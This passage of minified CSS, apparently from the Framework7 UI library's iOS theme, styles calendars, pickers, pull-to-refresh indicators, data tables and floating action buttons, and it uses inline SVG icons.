.calendar-day.calendar-day-selected span{background:#ff3b30}.ios .color-green .calendar-day.calendar-day-selected span,.ios .color-theme-green .calendar-day.calendar-day-selected span{background:#4cd964}.ios .color-blue .calendar-day.calendar-day-selected span,.ios .color-theme-blue .calendar-day.calendar-day-selected span{background:#007aff}.ios .color-pink .calendar-day.calendar-day-selected span,.ios .color-theme-pink .calendar-day.calendar-day-selected span{background:#ff2d55}.ios .color-theme-yellow .calendar-day.calendar-day-selected span,.ios .color-yellow .calendar-day.calendar-day-selected span{background:#fc0}.ios .color-orange .calendar-day.calendar-day-selected span,.ios .color-theme-orange .calendar-day.calendar-day-selected span{background:#ff9500}.ios .color-gray .calendar-day.calendar-day-selected span,.ios .color-theme-gray .calendar-day.calendar-day-selected span{background:#8e8e93}.ios .color-theme-white .calendar-day.calendar-day-selected span,.ios .color-white .calendar-day.calendar-day-selected span{background:#fff}.ios .color-black .calendar-day.calendar-day-selected span,.ios .color-theme-black .calendar-day.calendar-day-selected span{background:#000}.picker{width:100%;height:260px}.picker.picker-inline,.popover .picker{height:200px}@media (orientation:landscape) and (max-height:415px){.picker:not(.picker-inline){height:200px}}.picker-popover{width:280px}.picker-columns{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;overflow:hidden;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0;text-align:right;height:100%;position:relative;-webkit-mask-box-image:linear-gradient(to top,transparent,transparent 5%,#fff 20%,#fff 80%,transparent 95%,transparent)}.picker-column{position:relative;max-height:100%}.picker-column.picker-column-first:before,.picker-column.picker-column-last:after{height:100%;width:100vw;position:absolute;content:'';top:0}.picker-column.picker-column-first:before{right:100%}.picker-column.picker-column-last:after{left:100%}.picker-column.picker-column-left{text-align:left}.picker-column.picker-column-center{text-align:center}.picker-column.picker-column-right{text-align:right}.picker-column.picker-column-divider{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.picker-items{-webkit-transition:.3s;transition:.3s;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.picker-item{height:36px;line-height:36px;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;left:0;top:0;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s}.picker-item span{padding:0 10px}.picker-column-absolute .picker-item{position:absolute}.picker-item.picker-item-far{pointer-events:none}.picker-item.picker-item-selected{-webkit-transform:translate3d(0,0,0) rotateX(0);transform:translate3d(0,0,0) rotateX(0)}.picker-center-highlight{height:36px;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;width:100%;top:50%;margin-top:-18px;pointer-events:none}.picker-3d .picker-columns{overflow:hidden;-webkit-perspective:1200px;perspective:1200px}.picker-3d .picker-column,.picker-3d .picker-item,.picker-3d .picker-items{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.picker-3d .picker-column{overflow:visible}.picker-3d .picker-item{-webkit-transform-origin:center center -110px;transform-origin:center center -110px;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.ios .picker-columns{font-size:24px}.ios .picker-column-divider{color:#000}.ios .picker-item{color:#707274}.ios .picker-item.picker-item-selected{color:#000}.ios .picker-popover .toolbar{background:0 0}.ios .picker-popover .toolbar:before{display:none!important}.ios .picker-popover .picker>.toolbar+.picker-columns{height:calc(100% - 44px)}.ios .picker-popover .toolbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .picker-popover .toolbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-popover .toolbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .picker-center-highlight:before{content:'';position:absolute;background-color:#a8abb0;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .picker-center-highlight:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-center-highlight:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .picker-center-highlight:after{content:'';position:absolute;background-color:#a8abb0;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .picker-center-highlight:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-center-highlight:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .picker-item.picker-item-selected{color:#fff}.ios .theme-dark .picker-popover .toolbar:after,.picker-popover.ios .theme-dark .toolbar:after{background-color:#282829}.ios .theme-dark .picker-center-highlight:before{background-color:#282829}.ios .theme-dark .picker-center-highlight:after{background-color:#282829}.infinite-scroll-preloader{margin-left:auto;margin-right:auto;text-align:center}.infinite-scroll-preloader.preloader{display:block}.ios .infinite-scroll-preloader{margin-top:35px;margin-bottom:35px}.ios .infinite-scroll-preloader .preloader,.ios .infinite-scroll-preloader.preloader{width:27px;height:27px}.ptr-preloader .preloader{position:absolute;left:50%}.ios .ptr-preloader{position:relative;height:44px;margin-top:-44px;width:100%;left:0;top:0}.ios .ptr-preloader .preloader{width:27px;height:27px;margin-left:-13px;margin-top:-13px;visibility:hidden;top:50%}.ios .ptr-arrow{position:absolute;left:50%;top:50%;background:no-repeat center;z-index:10;-webkit-transform:rotate(0) translate3d(0,0,0);transform:rotate(0) translate3d(0,0,0);-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;width:13px;height:20px;margin-left:-6px;margin-top:-10px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2026%2040'%3E%3Cpolygon%20points%3D'9%2C22%209%2C0%2017%2C0%2017%2C22%2026%2C22%2013.5%2C40%200%2C22'%20fill%3D'%238c8c8c'%2F%3E%3C%2Fsvg%3E");background-size:13px 20px;visibility:visible}.ios .ptr-content:not(.ptr-refreshing) .ptr-preloader .preloader{-webkit-animation:none;animation:none}.ios .ptr-refreshing,.ios .ptr-transitioning{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.ios .ptr-refreshing{-webkit-transform:translate3d(0,44px,0);transform:translate3d(0,44px,0)}.ios .ptr-refreshing .ptr-arrow{visibility:hidden}.ios .ptr-refreshing .ptr-preloader .preloader{visibility:visible}.ios .ptr-pull-up .ptr-arrow{-webkit-transform:rotate(180deg) translate3d(0,0,0);transform:rotate(180deg) translate3d(0,0,0)}.ios .ptr-no-navbar{margin-top:-44px;height:calc(100% + 44px)}.ios .ptr-no-navbar .ptr-preloader{margin-top:0}.lazy-loaded.lazy-fade-in{-webkit-animation:lazyFadeIn .6s;animation:lazyFadeIn .6s}@-webkit-keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}@keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}.data-table{overflow-x:auto}.data-table table{width:100%;border:none;padding:0;margin:0;border-collapse:collapse;text-align:left}.data-table thead{font-size:12px}.data-table thead td,.data-table thead th{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;line-height:16px}.data-table thead i.f7-icons,.data-table thead i.icon,.data-table thead i.material-icons{vertical-align:top}.data-table td,.data-table th{padding:0;position:relative}.data-table td.numeric-cell,.data-table th.numeric-cell{text-align:right}.data-table td.checkbox-cell,.data-table th.checkbox-cell{overflow:visible}.data-table td.checkbox-cell label+span,.data-table th.checkbox-cell label+span{margin-left:8px}.data-table td.actions-cell,.data-table th.actions-cell{text-align:right;white-space:nowrap}.card .data-table td a.icon-only,.card .data-table th a.icon-only,.card.data-table td a.icon-only,.card.data-table th a.icon-only,.data-table td a.icon-only,.data-table th a.icon-only{display:inline-block;vertical-align:middle;text-align:center;font-size:0;min-width:0}.card .data-table td a.icon-only i,.card .data-table th a.icon-only i,.card.data-table td a.icon-only i,.card.data-table th a.icon-only i,.data-table td a.icon-only i,.data-table th a.icon-only i{font-size:18px;vertical-align:middle}.data-table .sortable-cell:not(.input-cell){cursor:pointer;position:relative}.data-table .sortable-cell.input-cell .table-head-label{cursor:pointer;position:relative}.data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.data-table .sortable-cell.numeric-cell:not(.input-cell):before,.data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{content:'';display:inline-block;vertical-align:top;width:16px;height:16px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E");background-size:100% auto;background-position:center;background-repeat:no-repeat;font-size:0;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:rotate(0);transform:rotate(0);opacity:0}html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before{opacity:.54}.data-table .sortable-cell.sortable-cell-active .table-head-label:after,.data-table .sortable-cell.sortable-cell-active .table-head-label:before,.data-table .sortable-cell.sortable-cell-active:after,.data-table .sortable-cell.sortable-cell-active:before{opacity:.87!important}.data-table .sortable-cell.sortable-desc:after,.data-table .sortable-cell.sortable-desc:before,.data-table .table-head-label:after,.data-table .table-head-label:before{-webkit-transform:rotate(180deg)!important;transform:rotate(180deg)!important}.card .data-table .card-header,.data-table.card .card-header{height:64px}.card .data-table .card-content,.data-table.card .card-content{overflow-x:auto}.data-table .data-table-actions,.data-table .data-table-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-actions{margin-left:auto;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.data-table .data-table-actions a.link{min-width:0}.data-table .data-table-actions a.link.icon-only{line-height:1;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0}.data-table .data-table-header,.data-table .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:100%}.data-table .data-table-header-selected{display:none}.data-table.data-table-has-checked .data-table-header{display:none}.data-table.data-table-has-checked .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-title-selected{font-size:14px}.data-table .data-table-footer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:12px;overflow:hidden;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.data-table .data-table-pagination,.data-table .data-table-rows-select{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}@media (max-width:480px) and (orientation:portrait){.data-table.data-table-collapsible thead{display:none}.data-table.data-table-collapsible tbody,.data-table.data-table-collapsible td,.data-table.data-table-collapsible tr{display:block}.data-table.data-table-collapsible tr{position:relative}.data-table.data-table-collapsible tr:hover{background-color:inherit}.data-table.data-table-collapsible td{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;text-align:left}.data-table.data-table-collapsible td:before{display:none!important}.data-table.data-table-collapsible td:not(.checkbox-cell):before{width:40%;display:block!important;content:attr(data-collapsible-title);position:relative;height:auto;background:0 0!important;-webkit-transform:none!important;transform:none!important;font-size:12px;margin-right:16px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.data-table.data-table-collapsible td.checkbox-cell{position:absolute;top:0;left:0}.data-table.data-table-collapsible td.checkbox-cell+td{padding-left:16px}.data-table.data-table-collapsible td.checkbox-cell~td{margin-left:32px}}.data-table .tablet-landscape-only,.data-table .tablet-only{display:none}@media (min-width:768px){.data-table .tablet-only{display:table-cell}}@media (min-width:768px) and (orientation:landscape){.data-table .tablet-landscape-only{display:table-cell}}.theme-dark .data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before,.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E")}.ios .data-table thead td,.ios .data-table thead th{font-weight:600}.ios .data-table thead td:not(.sortable-cell-active),.ios .data-table thead th:not(.sortable-cell-active){color:#8e8e93}.ios .data-table thead i.f7-icons,.ios .data-table thead i.icon{font-size:18px;width:18px;height:18px}.ios .data-table tbody tr.data-table-row-selected{background:#f7f7f8}.ios .data-table td,.ios .data-table th{padding-left:15px;padding-right:15px;height:44px}.ios .data-table td.checkbox-cell,.ios .data-table th.checkbox-cell{width:22px;padding-right:7px}.ios .data-table td.checkbox-cell+td,.ios .data-table td.checkbox-cell+th,.ios .data-table th.checkbox-cell+td,.ios .data-table th.checkbox-cell+th{padding-left:8px}.ios .data-table td.actions-cell a.link+a.link,.ios .data-table th.actions-cell a.link+a.link{margin-left:15px}.ios .data-table td.actions-cell a.icon-only,.ios .data-table th.actions-cell a.icon-only{width:18px;height:18px;line-height:18px}.ios .sortable-cell:not(.numeric-cell):after{margin-left:5px}.ios .sortable-cell.numeric-cell:before{margin-right:5px}.ios .card .data-table .card-footer,.ios .card .data-table .card-header,.ios .data-table.card .card-footer,.ios .data-table.card .card-header{padding-left:15px;padding-right:8px}.ios .data-table-title{font-size:17px;font-weight:600}.ios .data-table-actions a.link+a.link,.ios .data-table-links a.link+a.link{margin-left:15px}.ios .data-table-actions a.link.icon-only{width:44px;height:44px}.ios .data-table-actions i.f7-icons,.ios .data-table-actions i.icon{font-size:22px}.ios .data-table .card-header>.data-table-header,.ios .data-table .card-header>.data-table-header-selected{padding-top:10px;padding-bottom:10px;height:100%;padding-left:15px;padding-right:8px;margin-left:-15px;margin-right:-8px}.ios .data-table-header-selected{background:rgba(0,122,255,.1)}.ios .data-table-title-selected{color:#007aff}.ios .data-table tbody td:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table tbody td:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table tbody td:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios.device-desktop .data-table tbody tr:hover{background:#f7f7f8}.ios .data-table-footer{height:44px;color:#8e8e93}.ios .data-table-pagination a.link,.ios .data-table-rows-select a.link{width:44px;height:44px}.ios .data-table-rows-select+.data-table-pagination{margin-left:30px}.ios .data-table-rows-select .input{margin-left:20px}.ios .data-table-pagination-label{margin-right:15px}.ios .data-table-footer:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .input-cell{padding-top:8px;padding-bottom:8px;height:auto;vertical-align:top}.ios .input-cell .table-head-label+.input{margin-top:4px}.ios .input-cell .input{height:24px}.ios .input-cell .input input,.ios .input-cell .input select,.ios .input-cell .input textarea{height:24px;color:#000;font-size:14px}@media (max-width:480px) and (orientation:portrait){.ios .data-table.data-table-collapsible td:not(.checkbox-cell):before{color:#8e8e93;font-weight:600}.ios .data-table-collapsible tr:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table-collapsible tr:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table-collapsible tr:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}}.data-table.ios .theme-dark tbody td:before,.ios .theme-dark .data-table tbody td:before{background-color:#282829}.data-table.ios .theme-dark.data-table-collapsible tr:before,.ios .theme-dark .data-table.data-table-collapsible tr:before{background-color:#282829}.data-table.ios .theme-dark tbody tr.data-table-row-selected,.ios .theme-dark .data-table tbody tr.data-table-row-selected{background-color:#363636}.ios.device-desktop .theme-dark .data-table tbody tr:hover,.ios.device-desktop .theme-dark.data-table tbody tr:hover{background:#363636}.ios .color-theme-red .data-table-header-selected,.ios .data-table-header-selected.color-red{background:rgba(255,59,48,.1)}.ios .color-red .data-table-title-selected,.ios .color-theme-red .data-table-title-selected{color:#ff3b30}.ios .color-theme-green .data-table-header-selected,.ios .data-table-header-selected.color-green{background:rgba(76,217,100,.1)}.ios .color-green .data-table-title-selected,.ios .color-theme-green .data-table-title-selected{color:#4cd964}.ios .color-theme-blue .data-table-header-selected,.ios .data-table-header-selected.color-blue{background:rgba(0,122,255,.1)}.ios .color-blue .data-table-title-selected,.ios .color-theme-blue .data-table-title-selected{color:#007aff}.ios .color-theme-pink .data-table-header-selected,.ios .data-table-header-selected.color-pink{background:rgba(255,45,85,.1)}.ios .color-pink .data-table-title-selected,.ios .color-theme-pink .data-table-title-selected{color:#ff2d55}.ios .color-theme-yellow .data-table-header-selected,.ios .data-table-header-selected.color-yellow{background:rgba(255,204,0,.1)}.ios .color-theme-yellow .data-table-title-selected,.ios .color-yellow .data-table-title-selected{color:#fc0}.ios .color-theme-orange .data-table-header-selected,.ios .data-table-header-selected.color-orange{background:rgba(255,149,0,.1)}.ios .color-orange .data-table-title-selected,.ios .color-theme-orange .data-table-title-selected{color:#ff9500}.ios .color-theme-gray .data-table-header-selected,.ios .data-table-header-selected.color-gray{background:rgba(142,142,147,.1)}.ios .color-gray .data-table-title-selected,.ios .color-theme-gray .data-table-title-selected{color:#8e8e93}.ios .color-theme-white .data-table-header-selected,.ios .data-table-header-selected.color-white{background:rgba(255,255,255,.1)}.ios .color-theme-white .data-table-title-selected,.ios .color-white .data-table-title-selected{color:#fff}.ios .color-theme-black .data-table-header-selected,.ios .data-table-header-selected.color-black{background:rgba(0,0,0,.1)}.ios .color-black .data-table-title-selected,.ios .color-theme-black .data-table-title-selected{color:#000}.fab{position:absolute;z-index:1500}.fab-buttons a,.fab>a{position:relative;-webkit-transition-duration:.3s;transition-duration:.3s;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;overflow:hidden;z-index:1}.fab>a i{position:absolute;left:50%;top:50%;-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);-webkit-transition:.3s;transition:.3s}.fab>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);opacity:0}.fab[class*=fab-center]{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.fab[class*=left-center],.fab[class*=right-center]{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.fab[class*=center-center]{top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.fab div.fab-buttons a{width:40px;height:40px}.fab-buttons{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;visibility:hidden;pointer-events:none;position:absolute}.fab-buttons a{opacity:0}.fab-opened:not(.fab-morph)>a i{-webkit-transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);opacity:0}.fab-opened:not(.fab-morph)>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);opacity:1}.fab-opened .fab-buttons{visibility:visible;pointer-events:auto}.fab-opened .fab-buttons a{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1)!important;transform:translate3d(0,0,0) scale(1)!important}.fab-opened .fab-buttons a:nth-child(2){-webkit-transition-delay:50ms;transition-delay:50ms}.fab-opened .fab-buttons a:nth-child(3){-webkit-transition-delay:.1s;transition-delay:.1s}.fab-opened .fab-buttons a:nth-child(4){-webkit-transition-delay:150ms;transition-delay:150ms}.fab-opened .fab-buttons a:nth-child(5){-webkit-transition-delay:.2s;transition-delay:.2s}.fab-opened .fab-buttons a:nth-child(6){-webkit-transition-delay:250ms;transition-delay:250ms}.fab-buttons-bottom,.fab-buttons-top{left:50%;width:40px;margin-left:-20px}.fab-buttons-top{bottom:100%;margin-bottom:16px;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fab-buttons-top a{-webkit-transform:translate3d(0,8px,0) scale(.3);transform:translate3d(0,8px,0) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-top a+a{margin-bottom:16px}.fab-buttons-bottom{top:100%;margin-top:16px;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.fab-buttons-bottom a{-webkit-transform:translate3d(0,-8px,0) scale(.3);transform:translate3d(0,-8px,0) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-bottom a+a{margin-top:16px}.fab-buttons-left,.fab-buttons-right{top:50%;height:40px;margin-top:-20px}.fab-buttons-left{right:100%;margin-right:16px;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.fab-buttons-left a{-webkit-transform:translate3d(8px,0,0) scale(.3);transform:translate3d(8px,0,0) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-buttons-left a+a{margin-right:16px}.fab-buttons-right{left:100%;margin-left:16px}.fab-buttons-right a{-webkit-transform:translate3d(-8px,0,0) scale(.3);transform:translate3d(-8px,0,0) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-right a+a{margin-left:16px}.fab-buttons-center{left:0;top:0;width:100%;height:100%}.fab-buttons-center a{position:absolute}.fab-buttons-center a:nth-child(1){left:50%;margin-left:-20px;bottom:100%;margin-bottom:16px;-webkit-transform:translateY(-8px) scale(.3);transform:translateY(-8px) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-center a:nth-child(2){left:100%;margin-top:-20px;top:50%;margin-left:16px;-webkit-transform:translateX(-8px) scale(.3);transform:translateX(-8px) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-center a:nth-child(3){left:50%;margin-left:-20px;top:100%;margin-top:16px;-webkit-transform:translateY(8px) scale(.3);transform:translateY(8px) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-center a:nth-child(4){right:100%;margin-top:-20px;top:50%;margin-right:16px;-webkit-transform:translateX(8px) scale(.3);transform:translateX(8px) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-opened.fab-morph>a i{opacity:0}.fab-morph,.fab-morph-target,.fab-morph>a{-webkit-transition-duration:250ms;transition-duration:250ms}.fab-morph-target:not(.fab-morph-target-visible){display:none}.fab-extended{width:auto}.fab-extended>a{width:100%!important}.fab-text{padding-left:20px;padding-right:20px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px;text-transform:uppercase}.fab-label-button{overflow:visible!important}.fab-label{position:absolute;top:50%;padding:4px 12px;border-radius:4px;background:#fff;color:#333;white-space:nowrap;-webkit-transform:translateY(-50%);transform:translateY(-50%);pointer-events:none}.fab[class*=fab-right-] .fab-label{right:100%;margin-right:8px}.fab[class*=fab-left-] .fab-label{left:100%;margin-left:8px}.ios .fab-buttons a,.ios .fab>a{background:#007aff;width:50px;height:50px;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.4);box-shadow:0 2px 4px rgba(0,0,0,.4);border-radius:25px;color:#fff}.ios .fab-buttons a.active-state,.ios .fab>a.active-state{-webkit-transition-duration:0s;transition-duration:0s;background:#0066d6}.ios .fab-buttons a i.icon,.ios .fab>a i.icon{font-size:21px}.ios .fab[class*=fab-left]{left:15px}.ios .fab[class*=fab-right]{right:15px}.ios .fab[class*="-top"]{top:15px}.ios .fab[class*="-bottom"]{bottom:15px}.ios .navbar~* .fab[class*="-top"],.ios .navbar~.fab[class*="-top"]{margin-top:44px}.ios .toolbar~* .fab[class*="-bottom"],.ios .toolbar~.fab[class*="-bottom"]{margin-bottom:44px}.ios .tabbar-labels~* .fab[class*="-bottom"],.ios .tabbar-labels~.fab[class*="-bottom"]{margin-bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .fab[class*="-bottom"],.ios .tabbar-labels~.fab[class*="-bottom"]{margin-bottom:56px}}.ios .fab-morph{border-radius:25px;background:#007aff;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.4);box-shadow:0 2px 4px rgba(0,0,0,.4)}.ios .fab-morph>a{-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.ios .fab-extended{min-width:50px}.ios .fab-extended>a{width:100%;height:50px}.ios .fab-extended>a i{left:25px}.ios .fab-extended i~.fab-text{padding-left:50px}.ios .fab-label{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.4);box-shadow:0 1px 2px rgba(0,0,0,.4)}.ios .color-theme-red .fab-buttons a,.ios .color-theme-red .fab>a,.ios .color-theme-red.fab-buttons a,.ios .color-theme-red.fab>a{background:#ff3b30}.ios .color-theme-red .fab-buttons a.active-state,.ios .color-theme-red .fab>a.active-state,.ios .color-theme-red.fab-buttons a.active-state,.ios .color-theme-red.fab>a.active-state{background:#ff1407}.ios .color-theme-red .fab-morph,.ios .color-theme-red.fab-morph{background:#ff3b30}.ios .color-theme-green .fab-buttons a,.ios .color-theme-green .fab>a,.ios .color-theme-green.fab-buttons a,.ios .color-theme-green.fab>a{background:#4cd964}.ios .color-theme-green .fab-buttons a.active-state,.ios .color-theme-green .fab>a.active-state,.ios .color-theme-green.fab-buttons a.active-state,.ios .color-theme-green.fab>a.active-state{background:#2cd048}.ios .color-theme-green .fab-morph,.ios .color-theme-green.fab-morph{background:#4cd964}.ios .color-theme-blue .fab-buttons a,.ios .color-theme-blue .fab>a,.ios .color-theme-blue.fab-buttons a,.ios .color-theme-blue.fab>a{background:#007aff}.ios .color-theme-blue .fab-buttons a.active-state,.ios .color-theme-blue .fab>a.active-state,.ios .color-theme-blue.fab-buttons a.active-state,.ios .color-theme-blue.fab>a.active-state{background:#0066d6}.ios .color-theme-blue .fab-morph,.ios .color-theme-blue.fab-morph{background:#007aff}.ios .color-theme-pink .fab-buttons a,.ios .color-theme-pink .fab>a,.ios .color-theme-pink.fab-buttons a,.ios .color-theme-pink.fab>a{background:#ff2d55}.ios .color-theme-pink .fab-buttons a.active-state,.ios .color-theme-pink .fab>a.active-state,.ios .color-theme-pink.fab-buttons a.active-state,.ios .color-theme-pink.fab>a.active-state{background:#ff0434}.ios .color-theme-pink .fab-morph,.ios .color-theme-pink.fab-morph{background:#ff2d55}.ios .color-theme-yellow .fab-buttons a,.ios .color-theme-yellow .fab>a,.ios .color-theme-yellow.fab-buttons a,.ios .color-theme-yellow.fab>a{background:#fc0}.ios .color-theme-yellow .fab-buttons a.active-state,.ios .color-theme-yellow .fab>a.active-state,.ios .color-theme-yellow.fab-buttons a.active-state,.ios .color-theme-yellow.fab>a.active-state{background:#d6ab00}.ios .color-theme-yellow .fab-morph,.ios .color-theme-yellow.fab-morph{background:#fc0}.ios .color-theme-orange .fab-buttons a,.ios .color-theme-orange .fab>a,.ios 